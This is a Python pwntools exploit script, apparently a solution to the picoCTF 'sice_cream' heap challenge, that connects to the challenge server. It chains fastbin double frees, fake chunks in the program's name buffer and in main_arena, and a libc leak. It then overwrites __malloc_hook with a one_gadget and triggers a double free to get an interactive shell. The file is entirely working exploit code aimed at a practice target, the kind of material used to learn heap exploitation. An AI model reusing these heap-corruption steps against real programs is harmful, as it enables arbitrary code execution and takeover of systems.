from pwn import *

REMOTE = True
DEBUG = False

elf = ELF("./sice_cream")
libc = elf.libc
index = 0

array_ice_scream_size = 20


if REMOTE:
    r = remote("jupiter.challenges.picoctf.org",9521)

else:
    if DEBUG:
        gs = f'''
        continue
        '''
        r = gdb.debug("./sice_cream",gdbscript=gs)
    else:
        r = process("./sice_cream")

def name_first(name):
    r.recvuntil("> ")
    r.sendline(name)

def buy(size,flavor):
    global index
    r.recvuntil("> ")
    r.sendline("1")
    r.recvuntil("> ")
    r.sendline(str(size))
    r.recvuntil("> ")
    r.sendline(flavor)
    index += 1
    return index - 1

def eat(index):
    r.recvuntil("> ")
    r.sendline("2")
    r.recvuntil("> ")
    r.sendline(str(index))


def reintroduce(name):
    r.recvuntil("> ")
    r.sendline("3")
    r.recvuntil("> ")
    r.sendline(name)
    return r.recvuntil("!\n")

def leak_and_resolve_libc():
    leak = (reintroduce(cyclic(0xf)).split(b'\n')[1][:-1]) # can fail if libc address contain '\n' but common
    leak = leak + b"\x00" * (0x8 - len(leak))
    leak = u64(leak)
    log.success(f"leak = 0x{leak:02x}\n")
    libc.address = leak - 0x58 - libc.sym.main_arena
    log.success(f"libc load address = 0x{libc.address:02x}\n")

    #stablize malloc
    reintroduce(cyclic(0x8) + p64(0x21) + p64(leak) + p64(leak))
    buy(0x21 ,"COOL")
 
def get_more_chunks():
    global index
    reintroduce(b"A" * (0x100 - 0x20) + p64(0) + p64 (0x61) + p64(0))
    chunk_E = buy(0x58,"rrr")
    chunk_F = buy(0x58,"rrr")
    eat(chunk_E)
    eat(chunk_F)
    eat(chunk_E)
    buy(0x58,p64(array_loc - 0x20))
    buy(0x58,"A")
    buy(0x58,"A")
    buy(0x58,p64(0) * 10)
    log.success("got more chunks to malloc\n")
    index = 0

name_loc = 0x602040
array_loc = 0x602140

#leak libc----------------
name_first(b"A" * 0x8 + p64(0x21) + p64(0x0) + p64(0x0))
chunk_A = buy(0x18, "A" * 0x17)
chunk_B = buy(0x18, "A" * 0x17)
eat(chunk_A)
eat(chunk_B)
eat(chunk_A)
buy(0x18, p64(0x602040)  + b"A" * 0xf)
buy(0x18, "A" * 0x17)
buy(0x18, p64(0x602040) + b"A" * 0xf)
fake_chunk = buy(0x18, b"A" * 8)
reintroduce(p64(0) + p64(0x91) + p64(0) + p64(0) + b"A" * 0x70 + p64(0x90) + p64(0x11) + p64(0x10) + p64(0x11))
eat(fake_chunk)
leak_and_resolve_libc()
#--------------------------------

#get more chunks----------------
get_more_chunks()
#--------------------------


#----------get fake chunk in main_arena----------------
chunk_C = buy(0x48,"A")
chunk_D = buy(0x48,"A")

eat(chunk_C)
eat(chunk_D)
eat(chunk_C)

buy(0x48,p64(0x61))
buy(0x48,"A")
buy(0x48,"A")
log.success("got fake chunk in main arena, size = 0x61\n")
#----------------------------------------------

#-------get more chunks---------------
get_more_chunks()
#-------------------------------------


# -------overwrite top chunk-----------------------

chunk_Y = buy(0x58,"A")
chunk_Z = buy(0x58,"A")

eat(chunk_Y)
eat(chunk_Z)
eat(chunk_Y)
buy(0x58,p64(libc.sym.main_arena+0x18))
buy(0x58, "A")
buy(0x58,"A")
buy(0x58,p64(0) * 6  + p64(libc.sym.__malloc_hook - 0x23)) #7f sized chunk
log.success(f"overwrote main_arena.top with address of __malloc_hook - 0x23 = 0x{libc.sym.__malloc_hook - 0x23:02x}\n")

one_gadget = 0xf02a4 # [rsp+0x50] == NULL

new_malloc_hook = libc.address + one_gadget

buy(0x38,b"A" * 0x13 + p64(new_malloc_hook) + p64(0))
log.success(f"overwrote __malloc_hook with one_gadget\n")
log.info("triggering double free() to call malloc()\n")
eat(0)
eat(0)
log.success("---pwned!---")
r.interactive()
